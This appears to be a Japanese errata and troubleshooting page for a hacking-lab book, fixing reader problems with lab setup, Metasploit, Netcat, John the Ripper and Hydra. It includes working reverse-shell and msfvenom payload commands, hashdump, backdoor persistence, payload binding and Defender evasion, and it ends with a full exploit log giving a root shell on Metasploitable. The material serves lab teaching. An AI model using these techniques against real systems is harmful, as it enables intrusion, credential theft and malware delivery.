Official Windows VM download URL archive.md…過去の仮想マシンのファイルのURLが載っている。
(4Gバイトもあるのでなるべく集中的なアクセスは控えてください)

Filename          : http://IE8.Win7.VirtualBox.zip
MD5               : 342e3d2d163f3ce345cfaa9cb5fa8012
海外勢も困っているはずなので、"IE8.Win7.VirtualBox.zip"というファイル名で検索すれば、いずれ他のサイトからもDLできるようになるはずです。
(そのため焦ってDLする必要はないはず)

ovaファイルからインポートしようとしたら、INVALDARGのエラー画面が出る 【第1部 第4章 P216】

KaMiya659(@KaMiya659 )さんの報告によれば、Windows 7の仮想マシンを一度導入した後で、ライセンス延長を忘れてしまったため、再度改めてovaファイルから仮想マシンをインポートしようとしたそうです。 すると、VirtualBoxがINVALIDARGというエラー画面を表示したそうです。
↑INVALIDARGエラー(このエラーダイアログは詳細を開いた状態)

仮想メディアマネージャーの中に(以前の)Windows 7が残っており、これを削除してからインポートを試みたところ、INVALIDARGエラーが表示されず、成功したといいます。

なお、以下は関連情報。
「VirtualBoxの仮想マシンアプライアンスをインポートするとVBOX_E_FILE_ERROR(0x80BB0004)が発生する」
ファイル自体を削除してもメタデータが残っているとエラーが出るようです。この場合も、仮想メディアマネージャーで不要なファイルを削除することが解決するそうです。
「VitualBoxにKaliをインポートできない。凡ミスログ」
デフォルトの仮想マシンフォルダーに権限がないとエラーが出るようです。

Windows 7のzipファイルを解凍するとエラーになる 【第2部 第4章 P217】

試用版のWindows 7のzipファイルを展開する場合には、Windows標準の展開ツールを用いると確実です。
のみぞん(@nomizooone)さんの報告によると、Lhaplusなどの解凍ツールを使った場合、エラーでうまく展開できない場合があるそうです。


↑Lhaplusによる解凍エラー
追記。ねこさん⚡Ͷow or Ͷever(ΦωΦ)(@catnap707)さん の報告によれば、4Gバイトを超えるzipファイルの解凍はLhaplusに限らずエラーが発生する恐れがあるそうです。
Windows標準の展開ツールを使うのが確実でしょう。
それ以外であれば、64bit版の7-zip(未検証)、WinRAR(解凍できた)などが有効かもしれません。

大容量のzipを展開(解凍)できない bad CRCなどのエラーが発生する場合の対処法

Windows 7のovaファイルをインポートしようとすると、"E_INVALIDARG (0x80070057)"というエラーが発生する 【第2部 第4章 P217-218】

じょろさん(@zyorom)の報告によると、ストレージの容量が足りない場合にこのエラーが発生したそうです。


↑"E_INVALIDARG (0x80070057)"エラー

コマンドプロンプトでslmgr /rearmコマンドを実行してもエラーが出て猶予期間が延長されない 【第2部 第4章 P219-220】

次のようなエラーが出ている場合、コマンドプロンプトが管理者権限で実行されていません(カレントディレクトリが"C:\Windows\Users\IEUser"であることからも推測できる)。
P119に書いてありますが、コマンドプロンプトを管理者権限で起動してコマンドを実行してください。メニューの「コマンドプロンプト」を右クリックして「管理者として実行」を選択すると、管理者権限で起動します。


↑権限不足のエラー
また、miha@PrayForKyoaniさんの報告によると、slmgr /rearmコマンドを実行して「Error:0xC004F025」エラーが発生する際には、次のコマンドを解決するようです。

↑「Error:0xC004F025」エラー対応

WindowsがPing応答を返す設定する際に、似たような項目が複数ある 【第2部 第4章 P222】

Windows 7/10がPing応答を返すためには、「Inbound Rules」の「ファイルとプリンターの共有(Echo要求)」を有効にします。しかし、ここには同じような項目が4つあるはずです。それぞれは次のような違いがあります。

・ICMPv4受信、プロファイルがプライベート・パブリック
・ICMPv4受信、プロファイルがドメイン
・ICMPv6受信、プロファイルがプライベート・パブリック
・ICMPv6受信、プロファイルがドメイン

一番簡単な方法はこの4つの項目をすべて有効にしてしまうことです。
1つだけを有効にするのであれば、「ICMPv4 プロファイルがプライベート・パブリック」を有効にします(通常の家庭のネットワークであればActive Directoryはないので、プロファイルがドメインの設定は関係なし)。

細かい違いについては「Windowsのファイアウォールで「ping」コマンドへの応答を許可する」を参考にするとよいでしょう。

Sysinternals Suiteのダウンロードページにアクセスできない 【第2部 第4章 P227】

本に記載したページにアクセスできない場合(一時期アクセスできない時期があった)や、最新版(英語版)をダウンロードする場合には、以下から入手してください。 https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

Netcatで-eオプションを指定すると、NO_DATAと表示され、待ち状態にならない 【第2部 第4章 P234】

Windowsのシェルを指定するために、「nc.exe -lvp 5555 -e cmd.exe」というコマンドを実行した場合、次の図のように待ち状態にならなければ、-hオプションで-eオプションの有無をチェックしてください。


↑待ち状態になっていない

↑-hオプション指定時の出力

https://joncraton.org/blog/46/netcat-for-windowsには、Windows向けのNetcatが2つ用意されています。
nc111nt.zipファイルとnc111nt_safe.zipファイルです。前者は本書で用いているファイル、後者は安全のために-eオプションを無効にしたNetcatです。
もし、-hオプションを指定して実行した際に、-eオプションの解説がなければ、-eオプションを無効化されたNetcatを使っていると推測できます。本書では-eオプションが無効化されていないNetcatを使用するので、nc111nt.zipファイルをダウンロードしてください。


↑ダウンロードすべきNetcat

なお、ディストリビューションによっては、インストール済みあるいはパッケージマネージャでインストールしたNetcatは-eオプションが無効化になっていることもあるようです。その際には、無効化されていないNetcatをソースからコンパイルすれば対応できます。

Netcatによるリバースシェルのステップ②で、ipconfigコマンドの出力結果が文字化けする 【第2部 第4章 P237】

リバースシェルの接続が確立すると、KaliのTerminalに"C:\Work\nc111nt"というプロンプトが表示されます。以降は、コマンドプロンプトのコマンドを入力できます。例えば、ipconfigコマンドを実行すると、その結果が返って来るはずです。
ただし、ターゲットのWindowsが日本語化されている場合、ipconfigコマンドの出力結果に日本語が含まれており、KaliのTerminalで文字化けして表示される可能性があります。その際は、TerminalをShift-JISに変更することで、正しく表示されるそうです。

suebo(@cd1086)さんのツイートを参考にしました。情報ありがとうございます。

msfvenomコマンドを実行したら文字化けが表示された 【第2部 第4章 P242】


↑msfvenomコマンドの出力の後半が文字化けしている

このような現象になったら、コマンドの入力をよく確かめてください。上の画像では「msfvenom -p windows/meterpreter/reverse_tcp」しか入力されていません。P242をよく見ると改行マークがあるはずです。その次の行も入力する必要があります。つまり、「msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe」という1行を入力してください。

askモジュールをexploitで実行すると失敗する 【第2部 第4章 P251】


↑askモジュールの実行失敗

askモジュールに対してset LHOSTで設定したIPアドレスを確認してください。
NAT用のIPアドレスではなく、ホストオンリーネットワークのIPアドレスである10.0.0.2になっていることを確認してください。

NATのIPアドレスになっていると、画像のようなエラーが発生します。
ターゲットがUAC画面のYesを押したときに、その通信がKali側が届きます。
そのときにLHOSTの情報が使われます。
ターゲットから10.0.3.15が見えていなければ、Kaliに届かないので、Kali側の画面ではタイムアウトと表示されます。

run hashdumpの実行時にエラーが発生する 【第2部 第4章 P253】

ryumajiさん(@ryumanji2)から、run hashdumpの実行中にArgumentErrorが発生して、パスワードハッシュのダンプに失敗するという報告がありました。


↑run hashdumpの実行時エラー

原因は不明ですが、Metasploit v5.0.38-devのMeterpreter上で起こったようです。 エラー画面を見ると、run hashdumpコマンドを実行した直後に、deprecated(非推奨)になったと出ています。 msfプロンプト側でpost/windows/gather/smart_hashdumpを実行することで、パスワードハッシュのダンプに成功したようです。

↑post/windows/gather/smart_hashdumpによるパスワードハッシュのダンプ

詳細は以下の記事を参考にしてください。
「ハッキング・ラボを途中までやってみて。。。」

John the Ripperが正しく起動しない 【第2部 第4章 P254】

[1]John the Ripper(以下、Johnと略す)を実行したときに、次のようなエラーが発生する場合があるようです。sudoなしでも同様と報告を受けました。


↑"AVX2 is required for this build"エラー

おそらく違うJohnを優先して見に行っている可能性があります。Johnがインストールされていない可能性があるので、次のコマンドを実行してJohnをインストールしてください。
# apt install john
その後、オプションなしでJohnを実行して、Johnが起動しオプションの説明が表示されることを確認してください。もし確認できればJohnのインストールや起動は問題ありません。

その後、Johhを実行して"Crash recovery file is locked"のようなエラーが出た場合は、ファイルがロックされてしまっています。対応方法は色々ありますが、Kaliを再起動するのがもっとも簡単でしょう。


↑"Crash recovery file is locked"

[2]P255の解析に成功しない
"Passw0rd!"の文字に間違いがないことを確認してください。
「O」(大文字のオー)ではなく、「0」(数字のゼロ)です。

パスワードファイルや辞書ファイルは正しいのに、解析成功のメッセージが出ない 【第2部 第4章 P254-255】

すでに解析が成功している可能性があります。
くどりさんの報告によれば、--showオプションで解析結果を表示できますが、--format:ntオプションで解析した際には、--showオプションと共に--format:ntオプションを付ける必要があるとのことです。

# john hash.txt --show
詳細はくどりさんのブログの記事が参考になります。

Windows 7 擬似攻撃 – パスワード解析 –

John the Ripperで解析すると、出力結果が本の見た目と違う 【第2部 第4章 P255】

推測ですが、Johnがアップデートして、高速化に対応したため、出力結果が若干違くなったようです。

関係するキーワードは次の通り。
AVX2
OpenMP

run scrapperコマンドの実行で一部失敗する 【第2部 第4章 P256-257】

Brown@Middle(@OKB207)さんの報告によると、run scrapperコマンドを実行したところ、次のようなエラーが発生したようです。


↑run scrapperコマンドの失敗

最終的に例外が発生していますが、[*]で成功しているところも一部あります。
また、[-]となっていてエラーになっているところは、"TimeoutError Operation timed out."となっています。
ターゲット上で情報を取得する一部のコマンドが実行されたときに、異常に時間がかかり、Kali側に応答が返ってこなかったのでタイムアウトになってしまったと推測できます。

run scrapperコマンドの実行結果、次の画像のように、一部の情報はKaliに記録されているようです。
タイムアウトしなかったコマンドについては収集できたと思われます。


↑run scrapperコマンドで収集した情報

対処方法についてはまだ未解決です。
情報をお持ちの方は是非お知らせください。

Windows 7を再起動すると、バックドアの起動に失敗する【第2部 第4章 P260】

kroad(@kroadddd)さんの報告によると、run persistanceで永続的なバックドアを作成したWindows 7を起動すると、そのバックドアの起動に失敗するようです。


↑バックドアのVBSファイルの"Permission denied"エラー

P258の出力を見ると、Meterpreter scriptはdeprecated(非推奨)となっています。
post/windows/manage/persistance_exeを使うことでうまくいくかもしれません。

対処方法についてはまだ未解決です。
情報をお持ちの方は是非お知らせください。

Meterpreterプロンプトでcpコマンドやregコマンドでエラーが発生する【第2部 第4章 P267-268】

P266まではステップ番号が振ってあり、Windows 7に対する一連のハッキングは完了します。P267からは独立した話となっています。 Meterpreterプロンプトで、P267のcpコマンドやP277のregコマンドでエラーが出るという報告がありました。 報告のあった状況としては、P266のclearevコマンドの直後の動作のようです(これが直接影響しているかは不明)。


↑cpコマンドのエラー



↑regコマンドのエラー。ただし、reg enumkey -k HKLMは成功している。

現在のところ、原因や解決方法がわかっていません。 もし情報をお持ちの方がいれば、お知らせください。 【2019/6/13 追記】
丸山純一郎(@JunMaruyama)さんの報告により、ホストOSがmacOSの場合は、regコマンドでは¥(円マークの半角)の代わりにバックスラッシュでうまくいくことがわかりました。 よって、円マークでうまくいかない場合は、バックスラッシュを指定してみてください。

・macOSでは[Option]+[\]キーがバックスラッシュに対応しますが、Kaliでは入力できないようです。そのため、ホストOS上でバックスラッシュを入力して、それをKaliにコピペしたようです。
・ホストOSで¥を入力して、それをKaliにコピペすると、regコマンド以外では問題ないが、regコマンドではうまくいかないようです。

Windows 10の仮想環境 【第2部 第4章 P289】

Brown@Middle(@OKB207)さんの報告によると、Windows 10 Enterpriseの仮想マシンが提供され始めたようです。

https://developer.microsoft.com/en-us/windows/downloads/virtual-machines

上記のページから、VirtualBoxの仮想マシンもダウンロードできるようです。
ただし、デフォルトでどういった状態になっているのか検証しきれていません。
PCがある程度分かっている人であれば、こちらを使うことで環境構築を高速化できるかもしれません。

isoファイルでOSをインストールしたことがない場合は、経験のためにも本書の通り実行することをおすすめします。

VirtualBoxで空の仮想マシンを構築する際に、OSのバージョンに「Windows 10 (64-bit)」が表示されない 【第2部 第4章 P295】

虎牙龍樹(@kogaryuju)さんの報告によると、BIOS画面で次のように設定し直すことで、バージョンのプルダウンメニューに「Windows 10 (64-bit)」が表示されるそうです。

・AMDの場合
 AMD SVM TechnologyをDisabledからEnabledにする。

・Intelの場合
 Intel Virtualization TechnologyをDisabledからEnabledにする。


↑AMDの場合のBIOSの設定項目

設定後、VirtualBoxを再インストールしなくても反映されるようです。


↑プルダウンメニューに項目が表示された

Windows 10のisoファイルからブートできない 【第2部 第4章 P301】


↑isoファイルからブートできなかったときのメッセージ

以下の方法を試してみてください。

・まず疑うべきことは、isoフィアルがおかしいという可能性です。
もう一回ダウンロードし直して、試してください。
また、ISOファイルをDVDに焼いて、実機でブートできるかも確認するという手もあります(誤って再インストールしてしまわないように)。
実機でもブートできなければ、VirtualBoxの問題ではなく、isoファイルの問題になります。
・最初の画面のときに、すばやく[F12]キーを押して、明示的にブート先を指定する。

↑[Fn12]キーを押して、ブート選択メニューを表示させたところ

・VirtualBoxを最新版にしてみる。
旧版だとWindows 10がまともに動かない可能性があるようです。

また、以下のツイートを参考にしてください。

https://twitter.com/kai1098701/status/1116296134891196417

インターネット接続をオフにした状態でWindows 10をインストールできない 【第2部 第4章 P301】

HackMonger(@smokyjp)さんの報告によると、インストール後の更新を避けるためにWindows 10のインストール前にネットワーク設定をオフにして進めると、インストール後の最初の再起動中に固まってしまうそうです。

空の仮想マシンにWindows 10をインストールしようとすると、OOBEエラーが発生して進まない 【第2部 第4章 P301~】

私の環境では発生しませんでしたが、Windows 10 Pro(64bit)の仮想マシンを作成中に、次のようなOOBEエラーが発生して、インストールが完了しないという現象が発生するという報告がありました。




↑OOBEエラーの一例


↑OOBEエラーと同時にデバッガーが起動した例

MSの情報によると、OOBE(Out-Of-Box Experience)とはWindowsのセットアップの際に走るプロセスらしく、OOBEエラーは何らかの原因でデッドロックが発生した際に起こるようです。2つの解決方法が提示されており、1つ目の方法は下部の「やり直す」(try again)ボタンを押すこと、2つ目の方法は強制終了して再起動することとなっています。
しかしながら、このOOBEエラーが再現する方に、2つの方法を試してもらいましたが、またOOBEエラーが発生してしまい、問題解決に至りませんでした。
もし、解決方法を知っている方がいれば、是非お知らせください。

cycle(@cycle_0)さんの報告によると、しばらく放置(約10分)してから、下部の「やり直し」ボタンを押すことで先に進めたという報告もあります。

また、虎牙龍樹(@kogaryuju)さんに協力していただいたところ、次のような結果が得られました。

○ノートPC(Windows 10 Home)
 Windows 10 Pro(64bit版、32bit版)、home(64bit版)をVBoxの仮想マシンにインストール
・VBox6.0⇒OOBEエラー
・VBox5.2.22⇒未確認

○デスクトップ(Windows 7 Pro)
 Windows 10 Pro(64bit版)をVBoxの仮想マシンにインストール
・VBox6.0⇒OOBEエラー
・VBox5.2.22⇒インストール成功

○別のノートPC(Windows 10 Home) ≪追加検証≫
 Windows 10 Pro(64bit版)をVBoxの仮想マシンにインストール
・VBox6.0⇒成功(バージョンの問題でもない??)

結論をいえば、VirtualBox v6.0だとOOBEエラーが発生し、v5.2.22に落としたところエラーは発生しなかったようです(ネット上での似たような議論)。バージョンをダウングレードして解決しても本来は意味がないので、いずれ新しいバージョンでは解決されると思います。

追加検証では、v6.0で普通にWindows 10の仮想マシンが作成できたようです。問題が解決したのはよいのですが、原因が逆にわからなくなってしまいました。

さらに、RUI_tea(@tea_rui)さんの報告によると、VirtualBoxではOOBEエラーでWindows 10のインストールができなかったが、VMwareではOOBEエラーが発生せずにインストールできたそうです。

前提としてVMwareとVirtualBoxは同時に起動して通信できません。これを踏まえて、このVMwareの仮想マシンであるWindows 10をハッキング・ラボの実験対象とするには、ざっくりと次の2つの方法が考えられます。

①KaliもVMwareの仮想マシンにインストールして、VMware上で仮想ネットワークを組んで実験する。
 Kaliのダウンロードページには、VMware向けのvmdkファイルが用意されています。これを用いることでVMwareで簡単にKaliの仮想マシンを作成できます。後は、2つの仮想マシンが通信できるように設定してください。

②ブリッジモードを活用して、LAN内で実験する。
 2台のPCを用意して、片方ではVMwareを用いてWindows 10の仮想マシンをブリッジモードでLANに接続します。もう片方ではVirtualBoxを用いてKaliの仮想マシンをブリッジアダプターでLANに接続します。こうしてLAN内で攻撃の実験をします。この場合、実験用のネットワークが隔離されていないので、ペイロードを誤ってメインマシンなどで実行しなようにしてください。

追って情報を追記していきます。何か情報を知っている方いれば、お知らせください。

Windows 10のリアルタイム保護の設定はどこで変更できるのか 【第2部 第4章 P316】

Windows 10のリアルタイム保護の設定画面の表示について、HackMonger(@smokyjp)さんがツイートしてくれました。 設定画面を表示するには、「設定」>「Windowsセキュリティ」→「ウィルスと脅威の防止:ウィルスと脅威の防止の設定:設定の管理」>「リアルタイム保護」を選びます。

なお、P169ではリアルタイム保護や検疫について簡単に解説しています。

SSHでVeilをインストールすると失敗する 【第2部 第4章 P334】

SHYO(@SHYO)さん報告によれば、SSHでログインした状態でVeilをインストールすると失敗するようです。
KaliにGUIログインした状態で、Veilをインストールしてください。 たそ(@habitasoooooooo)さんの報告によると、Veil Frameworkのインストール時に404 Not Foundが頻発した際に、apt-keyで鍵追加してapt updateコマンドを実行するとうまくインストールできたそうです。


↑404 Not Foundが発生


↑apt-keyで鍵を追加してからapt updateコマンドを実行

Windows Defenderにペイロードがウイルスとして検知されてしまう 【第2部 第4章 P340-341】

ウイルスとアンチウイルスの攻防はいたちごっこです。VeilやWindows Defenderのバージョンによって、検知されるかどうかの結果は変わります。どうしても検知されてしまう場合は、Veilのアップデートを待ちましょう。


↑Windows Defenderに検知された

上記の画像は、西条べべる(@bevelcv)さんのツイートから拝借しました。

検知されてしまい、先の実験ができない場合は、次の方法はどうでしょうか。

・Windows Defenderのプロセスやサービスを強制的に終了しておく。
・以降の実験にてWindows 7の仮想マシンをターゲットの代用として進める。

Shellterのインストールや起動がうまくいかない、挙動がおかしい 【第2部 第4章 P343】

Kaliのバージョンが上がってから、Shellter周りの挙動が変わったようです。
アップデートの度に変化しており、ネット上でも質問が飛び交っています。

以下に参考になる報告と記事を紹介します。
ハッキング・ラボRTA =5日目=
・藤宮 詩音(@F_Shion_i401)さんの報告
・ささめゆき(@gisi_spica)さんの報告

日本語版のWinRARを使って、ペイロードに画像ファイルをバインドする 【第2部 第4章 P350】

本書では英語版のWinRARを使っていますが、虎牙龍樹(@kogaryuju)さんが日本語版のWinRARを使った方法をツイートで紹介してくれました。


↑日本語版のWinRARを使った方法

WinRARでバインドするとき、最初に選択するファイルは"wallpaper.png"と"evil4.exe"ではないか? 【第2部 第4章 P350】

HackMonger(@smokyjp)さんからツイートで、「WinRARでバインドするとき、最初に選択するファイルは"wallpaper.png"と"evil4.exe"ではないか」と指摘されました。
普通に考えると、WinRARに"evil4.exe"のパスを教える必要があり、WinRARの設定時にはしていないので(Setupタブではファイル名は指定しているが絶対パスは指定していない)、右クリックのときしかタイミングがなさそうな気がします。
実際、ネットでこの方法を調べると、exeファイルと画像ファイルを選択した状態で右クリックして「Add to archive」を選ぶという方法を採用しているようです。
その一方で、本書の方法でもこれまで指摘がなかったということは、"wallpaper.png"と"wallpaper.ico"を選択した状態で右クリックして「Add to archive」を選んでも問題ないのかもしれません。

これを安全なexeファイル(電卓プログラムである"calc.exe")を用いて検証してみました。
フォルダー内に必要なファイルだけを入れて、そこでアーカイブを作成しました。そして、そのexe展開アーカイブをそのフォルダーの外に出し、"calc.exe"が存在しないような場所に移動してから、実行してみました。


↑検証風景

①"wallpaper.png"+"wallpaper.ico"(本書と同じ方法)の場合
⇒"wallpaper.png"と"wallpaper.ico"が生成され、"calc.exe"が起動する。

②"wallpaper.png"+"calc.exe"の場合
⇒"wallpaper.png"が生成され、"calc.exe"が起動する。

結論からいうと、①と②の両方でも"calc.exe"が実行されました。つまり、本書の方法でもうまくいくということになります。 ただし、①の場合は"wallpaper.ico"が生成されて若干不自然であり、またバインド対象(メインとなるexeファイルと画像ファイル)に対してアーカイブを作成するという操作の方が自然といえます。
よって、本書では①の方法を採用していますが、②の方法をおすすめします。

USERコマンドをどうやって入力するのか? 【第2部 第5章 P376】

MetaploitableのFTPサービス(21番)に接続すると、"220 (vsFTPd 2.3.4)"というメッセージが返ってきます。その次の行の"USER attacker:)"はこちら側が入力するものです。"USER"というメッセージが返って来るわけではありません。
以下、同様に"PASS hoge"もこちら側が1行で入力するものになります。

hydraに設定している"Invalid username or password"という文字列はどこから取得しましたか? 【第2部 第5章 P388-389】

Kaliのブラウザ(Firefoxなど)からTomcatの認証画面でわざと誤ったパスワードを入力します。すると、認証エラーのWebページが表示され、そこに"Invalid username or password"という文字列が表示されます。

http-form-postとなっていますが、http-post-formが正しいのではないでしょうか? 【第2部 第5章 P388-389】

検証の結果、Hydraの解析時のコマンド(P.389)において、http-form-postでもhttp-post-formでも動作には問題ないことがわかりました。
http-form-postを指定しても内部的に、http-post-formに変換されるようです。
よって、どちらを指定しても実行結果に違いはありません。

ただし、Hydraのヘルプによると、http-post-formが正しいです。

Hydraでの辞書式攻撃に失敗してしまう 【第2部 第5章 P389】

・ここのコマンド入力は長いため、入力間違いがないことを確認してください。

[1]validとして1つも引っ掛からないケース
・"user.lst"ファイルと"pass.lst"ファイルの両方に"tomcat"が含まれていることを確認してください。
catで見るのではなく、nanoやviで確認してください。 "tomcat "のように"tomcat"の直後に空白が入っていてはいけません。

[2]すべてのパターンがvalid扱いになってしまうケース
・P.389で指定したコマンドの「認証失敗時に表示される文字列」が間違っていると、これに該当します。

以上のケースに該当しない場合は、次の方法で解決するかもしれません。

Giorgia Cortese(@GiorgiaCortese6)さんと虎牙龍樹(@kogaryuju)さんのやり取り(12)によると、 Firefoxで10.0.0.5:8180に接続後、Tomcatの管理画面のログイン画面を表示してからHydraで解析するとうまくいくようです。


↑ログイン画面を出してからHydraを実行

解決はしましたが、これでうまくいく理由についてはまだわかっていません。
情報をお持ちの方がいれば、お知らせください。

認証エラーのWebページに"Invalid username or password"ではなく、"ユーザ名またはパスワードが違います"という日本語が表示されてしまう 【第2部 第5章 P389】

ブラウザが日本語優先になっている可能性が高いです。
WiresharkでHTTP要求を確認してください。Accept-Languageにて「ja,en-US;q=0.7,en;q=0.3」のようにjpという情報が入っていると、Tomcat側が日本語のページを表示するようです。

目標はTomcatの認証エラーページ(デフォルトの英語ページ)を表示することです。
対処法としては、①「そのブラウザを英語優先にする」か②「別のブラウザを用いる」のどちらかになります。

<アプローチ①>
1:「Firefoxで一部のサイトが英語で表示される場合の対処法【日本語化】」の記事を参考にして、逆にFirefoxを英語優先にします。
2:履歴を削除します。
3:Firefoxの起動中に[Shift]+[F2]キーを押すと、ウィンドウの下部にプロンプトが現れます。そこに"restart"と打ち込んでEnterを押すと、Firefoxが再起動します。
なお、Firefoxの再起動については「Firefoxの再起動はabout:profilesからが手軽」の記事が参考になります。
<アプローチ②>
以下の記事を参考にしてください。
「Linuxのコマンドライン(CUI)で使えるテキストベースWebブラウザを使い比べてみた」

smbclient -Lコマンドの実行時にエラーが発生する 【第2部 第5章 P393】

Kali 2019.4において、smbclient -Lコマンドを実行すると、エラーが発生して共有サービスを列挙できないという報告を受けました。

・実行結果
root@kali:~# smbclient -L //10.0.0.5
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

・バージョン
root@kali:~# smbclient -V
Version 4.11.1-Debian

・metasploitable2との通信はできています
root@kali:~# ping 10.0.0.5
PING 10.0.0.5 (10.0.0.5) 56(84) bytes of data.
64 bytes from 10.0.0.5: icmp_seq=1 ttl=64 time=0.385 ms

root@kali:~# nmap -sV -O -p- 10.0.0.5
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-11 16:22 JST
Nmap scan report for 10.0.0.5
Host is up (0.00054s latency).
(略)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
この問題に対する解決方法として、たかさん報告ysさんの報告が参考になります。 "/etc/samba/smb.conf"ファイル(Sambaの設定ファイル)に、次のように「client min protocol = NT1」という項目を追加するとうまくいくようです。
[global]
 
;       max protocol = SMB2
        client min protocol = NT1
以下は参考になる記事。 ・Fedora 31 で protocol negotiation failed が発生する

shell_to_meterpreter実行時にセッション2が生成されない 【第2部 第5章 P403】

本ではshell_to_meterpreter実行時にセッション2と3の2つが生成されます。
しかし、匿名さんの報告によれば、Kali 2019.4で実験すると、セッションが1つしか確立しないようです。
(書籍のセッション3を、このモジュールで確立化したセッション2に置き変えれば、以後の実験では支障がない)

以下はその実験の様子です。

root@kali:~# msfconsole -q
[-] ***
[-] * WARNING: No database support: could not connect to server: Connection refused
	Is the server running on host "localhost" (::1) and accepting
	TCP/IP connections on port 5432?
could not connect to server: Connection refused
	Is the server running on host "localhost" (127.0.0.1) and accepting
	TCP/IP connections on port 5432?

[-] ***
msf5 > search unrealirc

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution


msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.0.0.5
RHOST => 10.0.0.5
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.0.5         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.0.0.2:4444 
[*] 10.0.0.5:6667 - Connected to 10.0.0.5:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.0.5:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 6tTPTMx6PO5H1zjD;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "6tTPTMx6PO5H1zjD\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.5:54731) at 2019-12-13 18:53:35 +0900

id
uid=0(root) gid=0(root)
^Z
Background session 1? [y/N]  y
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.0.0.2:4444 -> 10.0.0.5:54731 (10.0.0.5)

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION  1                yes       The session to run this module on.

msf5 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4433 
[*] Sending stage (985320 bytes) to 10.0.0.5
[*] Meterpreter session 2 opened (10.0.0.2:4433 -> 10.0.0.5:40414) at 2019-12-13 18:55:52 +0900
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) > show sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    10.0.0.2:4444 -> 10.0.0.5:54731 (10.0.0.5)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5)

msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 08:00:27:1f:0e:ae
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 10.0.0.5
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1f:eae
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > 
Background session 2? [y/N]  
msf5 post(multi/manage/shell_to_meterpreter) > sessions -k 1
[*] Killing the following session(s): 1
[*] Killing session 1
[*] 10.0.0.5 - Command shell session 1 closed.
msf5 post(multi/manage/shell_to_meterpreter) > show sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5)

msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > 
Background session 2? [y/N]  y
[-] Unknown command: y.
msf5 post(multi/manage/shell_to_meterpreter) > show sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5)

msf5 post(multi/manage/shell_to_meterpreter) > sessions -k 2
[*] Killing the following session(s): 2
[*] Killing session 2
[*] 10.0.0.5 - Meterpreter session 2 closed.
msf5 post(multi/manage/shell_to_meterpreter) > show sessions

Active sessions
===============

No active sessions.

msf5 post(multi/manage/shell_to_meterpreter) >
なぜセッション2が確立していないのかの推測ですが、shell_to_meterpreterモジュールが最適化(最新化)されていることが関係しているかもしれません。
